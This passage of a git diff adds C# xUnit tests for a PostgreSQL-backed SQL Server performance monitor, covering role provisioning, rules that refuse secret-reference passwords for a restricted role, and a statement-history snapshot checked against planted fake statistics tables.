+            Assert.Contains("provision-roles.sql", warned.Joined, StringComparison.Ordinal);
+            Assert.Equal("0", await TextAsync(owner, triggerCount, ct));
+
+            /* Rules that are already in place, made by a role this login is not, are left alone and warn nothing: the login
+               could not replace the function, and nothing needs replacing. A function that differs in its setting or in its
+               body gets one warning each. */
+            await ExecAsync(owner, $"GRANT USAGE ON SCHEMA config TO {login}", ct);
+            await using (var ownerSource = NpgsqlDataSource.Create(scratch.ConnectionString))
+            await using (var restrictedSource = NpgsqlDataSource.Create(restricted))
+            {
+                Assert.True(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(ownerSource, new CapturingTestLogger(), ct));
+                Assert.Equal("1", await TextAsync(owner, triggerCount, ct));
+
+                var inPlace = new CapturingTestLogger();
+                Assert.True(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(restrictedSource, inPlace, ct), inPlace.Joined);
+                Assert.Equal(0, inPlace.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+
+                await ExecAsync(owner, "ALTER FUNCTION config.monitored_server_password_rules() SET search_path = public", ct);
+                var otherSetting = new CapturingTestLogger();
+                Assert.False(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(restrictedSource, otherSetting, ct), otherSetting.Joined);
+                Assert.Equal(1, otherSetting.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+
+                Assert.True(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(ownerSource, new CapturingTestLogger(), ct));
+                await ExecAsync(owner, "CREATE OR REPLACE FUNCTION config.monitored_server_password_rules() RETURNS trigger LANGUAGE plpgsql SET search_path = pg_catalog, pg_temp AS $x$ BEGIN RETURN NEW; END; $x$", ct);
+                var otherBody = new CapturingTestLogger();
+                Assert.False(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(restrictedSource, otherBody, ct), otherBody.Joined);
+                Assert.Equal(1, otherBody.CountAtLevel(Microsoft.Extensions.Logging.LogLevel.Warning));
+                Assert.Contains("provision-roles.sql", otherBody.Joined, StringComparison.Ordinal);
+
+                Assert.True(await DarlingManagedRoles.EnsureServerPasswordRulesAsync(ownerSource, new CapturingTestLogger(), ct));
+            }
+
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup, $"DROP OWNED BY {login}; DROP ROLE IF EXISTS {login}", cleanupCt));
+        }
+    }
+
+    [Fact]
+    public async Task TheMcpRole_GivesThePasswordItself_NeverAReference()
+    {
+        await RunScenarioAsync(selfManagedText: false, async (ownerString, owner, ct) =>
+        {
+            await using var mcp = await ConnectAsync(ownerString, "mcp", ProvisioningTestSecrets.McpPassword, ct);
+
+            await RefusedAsync(() => InsertServerAsync(mcp, 7501, "mcp-env", "env:SOME_SECRET", null, ct), ReferenceState, ReferenceSentence);
+            await RefusedAsync(() => InsertServerAsync(mcp, 7502, "mcp-file", "file:/run/secrets/sql_password", null, ct), ReferenceState, ReferenceSentence);
+            await InsertServerAsync(mcp, 7503, "mcp-plain", ProtectedBlob, null, ct);
+            await InsertServerAsync(owner, 7504, "seeded", "file:/run/secrets/seeded", null, ct);
+
+            /* The upsert shape's pass is the admin's alone: mcp reads no secret column, so the reference it would send
+               back is refused. */
+            await RefusedAsync(() => ExecAsync(mcp,
+                "INSERT INTO config_monitored_servers (server_id, name, host, database, auth, username, encrypted_password, engine, port) " +
+                "VALUES (7504, 'x', 'seeded', 'master', 'sql', 'monitor', 'file:/run/secrets/seeded', 'sqlserver', 0) " +
+                "ON CONFLICT (server_id) DO UPDATE SET name = EXCLUDED.name", ct), ReferenceState, ReferenceSentence);
+
+            Assert.Equal("reference_refused", await EditOutcomeAsync(mcp, 7503, "'encrypted_password'", null, "env:SOME_SECRET", owner, ct));
+            Assert.Equal("reference_refused", await EditOutcomeAsync(mcp, 7503, "'encrypted_password'", null, "file:/run/secrets/x", owner, ct));
+            Assert.Equal("password_needed", await EditOutcomeAsync(mcp, 7503, "'host'", "moved-host", null, owner, ct));
+            Assert.Equal("saved", await EditOutcomeAsync(mcp, 7503, "'host','encrypted_password'", "moved-host", "a-new-protected-blob", owner, ct));
+            Assert.Equal("a-new-protected-blob", await TextAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 7503", ct));
+
+            /* mcp may still remove a server, as before. */
+            await ExecAsync(mcp, "DELETE FROM config_monitored_servers WHERE server_id = 7503", ct);
+        });
+    }
+
+    [Fact]
+    public async Task TheViewersEditAsAdmin_Saves_AndAChangeThatKeepsTheStoredPassword_ShowsTheMoveSentence()
+    {
+        await RunScenarioAsync(selfManagedText: false, async (ownerString, owner, ct) =>
+        {
+            await InsertServerAsync(owner, 7801, "viewer-host", ProtectedBlob, null, ct);
+            await InsertServerAsync(owner, 7802, "viewer-ref-host", "file:/run/secrets/sql_password", null, ct);
+            var adminString = new NpgsqlConnectionStringBuilder(ownerString)
+            {
+                Username = "admin",
+                Password = ProvisioningTestSecrets.AdminPassword,
+                SearchPath = "collect,config,public",
+                Pooling = false,
+            }.ConnectionString;
+            await using var viewer = new PerformanceMonitor.Darling.Viewer.ViewerDataService(adminString);
+
+            PerformanceMonitor.Darling.Viewer.MonitoredServerRow Row(int id, string host, string blob, string encryptMode, string name) => new()
+            {
+                ServerId = id,
+                Name = name,
+                Host = host,
+                Database = "master",
+                Auth = "sql",
+                Username = "monitor",
+                EncryptedPassword = blob,
+                EncryptMode = encryptMode,
+            };
+
+            /* A rename saves, a new blob with a change saves, and the stored reference sent back unchanged saves. */
+            await viewer.UpsertMonitoredServerAsync(Row(7801, "viewer-host", ProtectedBlob, "Mandatory", "renamed"), ct);
+            await viewer.UpsertMonitoredServerAsync(Row(7802, "viewer-ref-host", "file:/run/secrets/sql_password", "Mandatory", "renamed ref"), ct);
+            await viewer.UpsertMonitoredServerAsync(Row(7801, "viewer-host", "a-new-protected-blob", "Optional", "renamed"), ct);
+            Assert.Equal("Optional", await TextAsync(owner, "SELECT encrypt_mode FROM config_monitored_servers WHERE server_id = 7801", ct));
+
+            /* A change the Viewer's own check does not look at, with the stored password kept: the store's refusal, in the
+               sentence the Viewer shows for a moved host. */
+            var refused = await Assert.ThrowsAsync<PerformanceMonitor.Darling.Viewer.MonitoredServerPasswordNeededException>(
+                () => viewer.UpsertMonitoredServerAsync(Row(7801, "viewer-host", "a-new-protected-blob", "Mandatory", "renamed"), ct));
+            Assert.Equal(PerformanceMonitor.Darling.Viewer.ViewerDataService.EditPasswordNeededText, refused.Message);
+            Assert.Equal("Optional", await TextAsync(owner, "SELECT encrypt_mode FROM config_monitored_servers WHERE server_id = 7801", ct));
+        });
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task TheStoreOwner_StillSetsReferencesAndMovesServers(bool selfManagedText)
+    {
+        await RunScenarioAsync(selfManagedText, async (ownerString, owner, ct) =>
+        {
+            /* The configuration-file seed and --add-server: references go in, and a server moves with the stored value kept. */
+            await InsertServerAsync(owner, 7601, "seed-env", "env:SQL_PASSWORD", null, ct);
+            await InsertServerAsync(owner, 7602, "seed-file", "file:/run/secrets/sql_password", "file:/run/secrets/remediation", ct);
+            await ExecAsync(owner, "UPDATE config_monitored_servers SET encrypted_password = 'file:/run/secrets/rotated' WHERE server_id = 7601", ct);
+            await ExecAsync(owner, "UPDATE config_monitored_servers SET host = 'moved', port = 1433, engine = 'sqlserver', database = 'other' WHERE server_id = 7602", ct);
+            Assert.Equal("moved", await TextAsync(owner, "SELECT host FROM config_monitored_servers WHERE server_id = 7602", ct));
+            Assert.Equal("file:/run/secrets/rotated", await TextAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 7601", ct));
+        });
+    }
+
+    [Fact]
+    public async Task ARowAlreadyHoldingAReference_IsNotTouchedByProvisioning_AndStillReads()
+    {
+        var connectionString = RequireLivePostgres();
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(connectionString, ct);
+        await using (var probe = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await probe.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(probe, ct);
+            Assert.SkipWhen(
+                await TextAsync(probe, "SELECT EXISTS (SELECT 1 FROM pg_roles WHERE rolname IN ('admin', 'viewer', 'mcp'))", ct) == "True",
+                "A cluster-wide admin/viewer/mcp role already exists on this rig; the managed provisioning batch would adopt it.");
+        }
+
+        var bodySucceeded = false;
+        try
+        {
+            await using var owner = new NpgsqlConnection(new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = "collect,config,public" }.ConnectionString);
+            await owner.OpenAsync(ct);
+
+            /* The reference was stored before the rules existed, with a modified_at that provisioning must leave alone. */
+            await InsertServerAsync(owner, 7701, "old-ref", "file:/run/secrets/sql_password", "env:REMEDIATION", ct);
+            var before = await TextAsync(owner, "SELECT encrypted_password || '|' || remediation_encrypted_password || '|' || host || '|' || modified_at::text FROM config_monitored_servers WHERE server_id = 7701", ct);
+
+            var batch = DarlingManagedRoles.BuildProvisioningSql(
+                ProvisioningTestSecrets.Admin, ProvisioningTestSecrets.Viewer, ProvisioningTestSecrets.Mcp,
+                15, PasswordReassert.All, ProvisioningTarget.ComposeStore(OwnerRoleOf(owner), scratch.DatabaseName));
+            await ExecAsync(owner, batch, ct);
+            await ExecAsync(owner, batch, ct);
+
+            Assert.Equal(before, await TextAsync(owner, "SELECT encrypted_password || '|' || remediation_encrypted_password || '|' || host || '|' || modified_at::text FROM config_monitored_servers WHERE server_id = 7701", ct));
+            Assert.Equal("1", await TextAsync(owner, "SELECT count(*) FROM pg_trigger WHERE tgrelid = 'config.config_monitored_servers'::regclass AND tgname = 'trg_monitored_server_password_rules'", ct));
+
+            /* The collection read the owner makes still resolves the stored reference. */
+            Assert.Equal("file:/run/secrets/sql_password", await TextAsync(owner, "SELECT encrypted_password FROM config_monitored_servers WHERE server_id = 7701", ct));
+            bodySucceeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, bodySucceeded, async (cleanup, cleanupCt) =>
+                await ExecAsync(cleanup,
+                    "DROP OWNED BY admin, viewer, mcp; DROP ROLE IF EXISTS admin; DROP ROLE IF EXISTS viewer; DROP ROLE IF EXISTS mcp", cleanupCt));
+        }
+    }
+}
diff --git a/Darling/Darling.Tests/StoreSessionTimeZonePinCensusTests.cs b/Darling/Darling.Tests/StoreSessionTimeZonePinCensusTests.cs
index 5fd2f4eddd..5492d675b6 100644
--- a/Darling/Darling.Tests/StoreSessionTimeZonePinCensusTests.cs
+++ b/Darling/Darling.Tests/StoreSessionTimeZonePinCensusTests.cs
@@ -40,6 +40,7 @@ namespace Darling.Tests;
 /// inline on the <c>NpgsqlDataSource.Create(...)</c> line itself, so every STORE site the scan finds must show
 /// the pin on its own line, with no indirection rule left to fool.</para>
 /// </summary>
+[Trait("Stage", "Guard")]
 public sealed class StoreSessionTimeZonePinCensusTests
 {
     /* Measured on dev at #4277: 562 .cs files across the four store-side projects, 29 call sites (25 STORE,
@@ -67,6 +68,9 @@ glob or a desynchronised regex fails loudly instead of reporting a vacuous clean
            connection, not the store's. */
         "DarlingWorker.cs:ReadPgStatementTextAsync",
         "DarlingWorker.cs:RunTestHypotheticalIndexAsync",
+
+        /* The RDS endpoint check's fresh unpooled login to a MONITORED target (runtime.ConnectionString), never the store. */
+        "RdsEndpointVerifier.cs:ProbeLoginAsync",
     };
 
     [Fact]
diff --git a/Darling/Darling.Tests/StoreSqlClockDisciplineTests.cs b/Darling/Darling.Tests/StoreSqlClockDisciplineTests.cs
index 921d9b5335..57e107f5be 100644
--- a/Darling/Darling.Tests/StoreSqlClockDisciplineTests.cs
+++ b/Darling/Darling.Tests/StoreSqlClockDisciplineTests.cs
@@ -45,6 +45,7 @@ namespace Darling.Tests;
 /// columns back. Widening this to the write side is a separate change with a data-migration question
 /// attached, so it is deliberately out of scope here rather than silently allowlisted.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class StoreSqlClockDisciplineTests
 {
     /* Floors, so the scan cannot pass by finding nothing. Measured on dev: 602 files, 20,843 string literal
diff --git a/Darling/Darling.Tests/StoreStatementHistoryLiveTests.cs b/Darling/Darling.Tests/StoreStatementHistoryLiveTests.cs
new file mode 100644
index 0000000000..5b1acf016e
--- /dev/null
+++ b/Darling/Darling.Tests/StoreStatementHistoryLiveTests.cs
@@ -0,0 +1,383 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The store statement history snapshot (#5097) against a real server. Each fact mints its own scratch database, migrates
+/// it, and stands in for the reader functions with plain SQL functions over planted tables, so the epoch and the counters
+/// are exactly what the fact says and the shared cluster's own statement counters are never reset.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class StoreStatementHistoryLiveTests
+{
+    private static readonly DateTime T0 = new(2026, 3, 1, 10, 0, 0, DateTimeKind.Unspecified);
+
+    private static string? ConnectionString => Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+
+    private const string Fakes = @"
+CREATE TABLE public.fake_stats
+(
+    role_name text, queryid bigint, calls bigint, total_exec_ms double precision, max_exec_ms double precision,
+    rows_returned bigint, shared_blks_hit bigint, shared_blks_read bigint, temp_blks_written bigint
+);
+CREATE TABLE public.fake_info (stats_reset timestamptz, dealloc bigint);
+INSERT INTO public.fake_info VALUES (NULL, 0);
+CREATE FUNCTION config.store_statement_stats()
+RETURNS TABLE (role_name text, queryid bigint, calls bigint, total_exec_ms double precision, mean_exec_ms double precision,
+               max_exec_ms double precision, total_plan_ms double precision, rows_returned bigint, shared_blks_hit bigint,
+               shared_blks_read bigint, temp_blks_written bigint, query text)
+LANGUAGE sql AS $$ SELECT f.role_name, f.queryid, f.calls, f.total_exec_ms, f.total_exec_ms / NULLIF(f.calls, 0), f.max_exec_ms,
+                          0::double precision, f.rows_returned, f.shared_blks_hit, f.shared_blks_read, f.temp_blks_written, NULL::text
+                   FROM public.fake_stats f $$;
+CREATE FUNCTION config.store_statement_stats_info()
+RETURNS TABLE (stats_reset timestamptz, dealloc bigint)
+LANGUAGE sql AS $$ SELECT i.stats_reset, i.dealloc FROM public.fake_info i $$;
+-- The rig may not preload the extension, and the ready check asks pg_settings (unqualified on purpose, so this
+-- stand-in, first on the path, answers for it).
+CREATE SCHEMA fakeset;
+CREATE TABLE fakeset.pg_settings (name text, setting text);
+INSERT INTO fakeset.pg_settings VALUES ('pg_stat_statements.max', '5000');
+SET search_path = fakeset, pg_catalog, public;";
+
+    private static async Task<(ScratchPostgres Scratch, NpgsqlConnection Connection)> StartAsync(CancellationToken ct, bool withFakes = true)
+    {
+        Assert.SkipWhen(string.IsNullOrEmpty(ConnectionString), "Set DARLING_TEST_PG to run the statement history snapshot's live pins (each mints its own scratch database).");
+        var scratch = await ScratchPostgres.CreateAsync(ConnectionString!, ct);
+        var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        if (withFakes)
+        {
+            await ExecAsync(connection, Fakes, ct);
+        }
+
+        return (scratch, connection);
+    }
+
+    private static async Task SetStats(NpgsqlConnection c, string rows, CancellationToken ct)
+    {
+        await ExecAsync(c, "TRUNCATE public.fake_stats", ct);
+        if (rows.Length > 0)
+        {
+            await ExecAsync(c, "INSERT INTO public.fake_stats VALUES " + rows, ct);
+        }
+    }
+
+    [Fact]
+    public async Task TheFirstCapture_Rebaselines_WritesNoHistory_AndFillsTheBaseline()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await SetStats(c, "('owner', 1, 10, 100, 20, 10, 5, 1, 0), ('owner', 2, 4, 40, 15, 4, 1, 0, 0)", ct);
+            var result = await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+
+            Assert.Equal(StoreStatementHistory.OutcomeRebaselined, result.Outcome);
+            Assert.Equal(0L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_history", ct));
+            Assert.Equal(2L, await ScalarAsync(c, "SELECT count(*) FROM config.store_statement_baseline", ct));
+            Assert.Equal(1L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_captures WHERE outcome = 'rebaselined' AND interval_seconds IS NULL", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task ASameEpochDelta_IsCurrentMinusBaseline_IdleStatementsWriteNothing_AndAServiceRestartChangesNothing()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await SetStats(c, "('owner', 1, 10, 100, 20, 10, 5, 1, 0), ('owner', 2, 4, 40, 15, 4, 1, 0, 0)", ct);
+            await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+
+            /* Statement 1 ran 5 more times for 50 ms; statement 2 was idle; statement 3 appeared. */
+            await SetStats(c, "('owner', 1, 15, 150, 25, 15, 8, 1, 0), ('owner', 2, 4, 40, 15, 4, 1, 0, 0), ('owner', 3, 2, 8, 5, 2, 0, 0, 0)", ct);
+
+            /* A new connection stands in for a restarted service: nothing but the store is carried over. */
+            await using var second = new NpgsqlConnection(scratch.ConnectionString);
+            await second.OpenAsync(ct);
+            await ExecAsync(second, "SET search_path = fakeset, pg_catalog, public", ct);
+            var result = await StoreStatementHistory.SnapshotAsync(second, T0.AddHours(1), null, ct);
+
+            Assert.Equal(StoreStatementHistory.OutcomeOk, result.Outcome);
+            Assert.Equal(2, result.StatementsSeen);
+            Assert.Equal(2, result.StatementsKept);
+            Assert.Equal(5L, await ScalarAsync(c, "SELECT delta_calls FROM collect.store_statement_history WHERE queryid = 1", ct));
+            Assert.Equal(50d, await ScalarAsync(c, "SELECT delta_total_exec_ms FROM collect.store_statement_history WHERE queryid = 1", ct));
+            Assert.Equal(3600, await ScalarAsync(c, "SELECT interval_seconds FROM collect.store_statement_history WHERE queryid = 1", ct));
+            Assert.Equal(0L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_history WHERE queryid = 2", ct));
+            Assert.Equal(true, await ScalarAsync(c, "SELECT first_seen FROM collect.store_statement_history WHERE queryid = 3", ct));
+            Assert.Equal(false, await ScalarAsync(c, "SELECT first_seen OR entry_restarted OR reset_in_interval FROM collect.store_statement_history WHERE queryid = 1", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AFallenCounter_CreditsTheCurrentValue_AsAnEntryRestart()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await SetStats(c, "('owner', 1, 100, 1000, 20, 10, 5, 1, 0)", ct);
+            await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+            await SetStats(c, "('owner', 1, 3, 30, 20, 3, 1, 0, 0)", ct);
+            await StoreStatementHistory.SnapshotAsync(c, T0.AddHours(1), null, ct);
+
+            Assert.Equal(3L, await ScalarAsync(c, "SELECT delta_calls FROM collect.store_statement_history WHERE queryid = 1", ct));
+            Assert.Equal(true, await ScalarAsync(c, "SELECT entry_restarted FROM collect.store_statement_history WHERE queryid = 1", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AResetInsideTheInterval_CreditsTheCurrentValue_AndARebaselineWritesNoHistory()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await ExecAsync(c, "UPDATE public.fake_info SET stats_reset = TIMESTAMPTZ '2026-02-20 00:00:00+00'", ct);
+            await SetStats(c, "('owner', 1, 100, 1000, 20, 10, 5, 1, 0)", ct);
+            await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+
+            /* The reset lands 20 minutes after the previous capture. */
+            await ExecAsync(c, "UPDATE public.fake_info SET stats_reset = TIMESTAMPTZ '2026-03-01 10:20:00+00'", ct);
+            await SetStats(c, "('owner', 1, 7, 70, 20, 7, 1, 0, 0)", ct);
+            var inside = await StoreStatementHistory.SnapshotAsync(c, T0.AddHours(1), null, ct);
+            Assert.Equal(StoreStatementHistory.OutcomeOk, inside.Outcome);
+            Assert.Equal(7L, await ScalarAsync(c, "SELECT delta_calls FROM collect.store_statement_history", ct));
+            Assert.Equal(true, await ScalarAsync(c, "SELECT reset_in_interval FROM collect.store_statement_history", ct));
+
+            /* A stamp that moved to a time BEFORE the previous capture cannot be placed. */
+            await ExecAsync(c, "UPDATE public.fake_info SET stats_reset = TIMESTAMPTZ '2026-01-01 00:00:00+00'", ct);
+            await SetStats(c, "('owner', 1, 9, 90, 20, 9, 1, 0, 0)", ct);
+            var rebase = await StoreStatementHistory.SnapshotAsync(c, T0.AddHours(2), null, ct);
+            Assert.Equal(StoreStatementHistory.OutcomeRebaselined, rebase.Outcome);
+            Assert.Equal(1L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_history", ct));
+            Assert.Equal(9L, await ScalarAsync(c, "SELECT calls FROM config.store_statement_baseline WHERE queryid = 1", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheCap_KeepsTheTopStatementsByTime_AndTheCaptureCountsWhatItSaw_AndHiddenStatements()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+            await ExecAsync(c,
+                "INSERT INTO public.fake_stats SELECT 'owner', g, 1, g, g, 1, 0, 0, 0 FROM generate_series(1, " + (StoreStatementHistory.TopStatements + 25) + ") g", ct);
+            await ExecAsync(c, "INSERT INTO public.fake_stats VALUES ('other', NULL, 5, 5, 5, 5, 0, 0, 0)", ct);
+            var result = await StoreStatementHistory.SnapshotAsync(c, T0.AddHours(1), null, ct);
+
+            Assert.Equal(StoreStatementHistory.TopStatements + 25, result.StatementsSeen);
+            Assert.Equal(StoreStatementHistory.TopStatements, result.StatementsKept);
+            Assert.Equal(1, result.HiddenStatements);
+            Assert.Equal((long)StoreStatementHistory.TopStatements, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_history", ct));
+            Assert.Equal(26L, await ScalarAsync(c, "SELECT min(queryid) FROM collect.store_statement_history", ct));
+            Assert.Equal(1, await ScalarAsync(c, "SELECT hidden_statements FROM collect.store_statement_captures ORDER BY capture_time DESC LIMIT 1", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task Retention_DeletesOldHistoryAndCaptures_AndNeverTheBaseline()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            var old = T0.AddDays(-(StoreStatementHistory.RetentionDays + 5));
+            await ExecAsync(c, $"INSERT INTO collect.store_statement_captures (capture_time, statements_seen, statements_kept, hidden_statements, outcome) VALUES ('{old:yyyy-MM-dd HH:mm:ss}', 0, 0, 0, 'ok')", ct);
+            await ExecAsync(c, $"INSERT INTO collect.store_statement_history VALUES ('{old:yyyy-MM-dd HH:mm:ss}', 3600, 'owner', 9, 1, 1, 1, 0, 0, 0, 1, false, false, false)", ct);
+            await ExecAsync(c, $"INSERT INTO config.store_statement_baseline VALUES ('owner', 77, 1, 1, 1, 0, 0, 0, '{old:yyyy-MM-dd HH:mm:ss}')", ct);
+            await SetStats(c, "('owner', 77, 1, 1, 1, 1, 0, 0, 0)", ct);
+
+            await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+
+            Assert.Equal(0L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_history", ct));
+            Assert.Equal(1L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_captures", ct));
+            Assert.Equal(1L, await ScalarAsync(c, "SELECT count(*) FROM config.store_statement_baseline WHERE queryid = 77", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task WhenTheReaderIsNotThere_ThePassRecordsAPreconditionCapture_AndDoesNotThrow()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct, withFakes: false);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            var result = await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+
+            Assert.Equal(StoreStatementHistory.OutcomePrecondition, result.Outcome);
+            Assert.Equal(1L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_captures WHERE outcome = 'precondition'", ct));
+            Assert.Equal(0L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_history", ct));
+            Assert.Equal(0L, await ScalarAsync(c, "SELECT count(*) FROM config.store_statement_baseline", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    /// <summary>The planted pg_settings has no pg_stat_statements.max row.</summary>
+    [Fact]
+    public async Task AnInstalledButUnloadedExtension_WritesAPreconditionCapture_AndNoHistory()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await ExecAsync(c, "DELETE FROM fakeset.pg_settings", ct);
+            await SetStats(c, "('owner', 1, 100, 1000, 20, 10, 5, 1, 0)", ct);
+            var result = await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+
+            Assert.Equal(StoreStatementHistory.OutcomePrecondition, result.Outcome);
+            Assert.Equal(1L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_captures WHERE outcome = 'precondition'", ct));
+            Assert.Equal(0L, await ScalarAsync(c, "SELECT count(*) FROM config.store_statement_baseline", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task AReaderThatRaises_RollsTheWholePassBack_AndLeavesTheBaselineAlone()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await SetStats(c, "('owner', 1, 100, 1000, 20, 10, 5, 1, 0)", ct);
+            await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+            await SetStats(c, "('owner', 1, 130, 1300, 20, 10, 5, 1, 0)", ct);
+            await ExecAsync(c, "DROP FUNCTION config.store_statement_stats(); CREATE FUNCTION config.store_statement_stats() RETURNS TABLE (role_name text, queryid bigint, calls bigint, total_exec_ms double precision, mean_exec_ms double precision, max_exec_ms double precision, total_plan_ms double precision, rows_returned bigint, shared_blks_hit bigint, shared_blks_read bigint, temp_blks_written bigint, query text) LANGUAGE plpgsql AS $$ BEGIN RAISE EXCEPTION 'planted' USING ERRCODE = '55000'; END $$", ct);
+
+            var ex = await Assert.ThrowsAsync<PostgresException>(() => StoreStatementHistory.SnapshotAsync(c, T0.AddHours(1), null, ct));
+            Assert.Equal("55000", ex.SqlState);
+            Assert.Equal(0L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_history", ct));
+            Assert.Equal(1L, await ScalarAsync(c, "SELECT count(*) FROM collect.store_statement_captures", ct));
+            Assert.Equal(100L, await ScalarAsync(c, "SELECT calls FROM config.store_statement_baseline WHERE queryid = 1", ct));
+            ok = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(scratch.ConnectionString, ok, static (_, _) => Task.CompletedTask);
+        }
+    }
+
+    [Fact]
+    public async Task TheSameEpoch_WithStampsOnBothSides_SubtractsTheBaseline_AndTheIntervalAgreesOnBothRows()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var (scratch, c) = await StartAsync(ct);
+        await using var _ = scratch;
+        await using var __ = c;
+        var ok = false;
+        try
+        {
+            await ExecAsync(c, "UPDATE public.fake_info SET stats_reset = TIMESTAMPTZ '2026-02-20 00:00:00+00'", ct);
+            await SetStats(c, "('owner', 1, 100, 1000, 20, 10, 5, 1, 0)", ct);
+            await StoreStatementHistory.SnapshotAsync(c, T0, null, ct);
+            await SetStats(c, "('owner', 1, 130, 1300, 25, 12, 6, 1, 0)", ct);
+            var second = await StoreStatementHistory.SnapshotAsync(c, T0.AddSeconds(3599.6), null, ct);
+
+            Assert.Equal(StoreStatementHistory.OutcomeOk, second.Outcome);
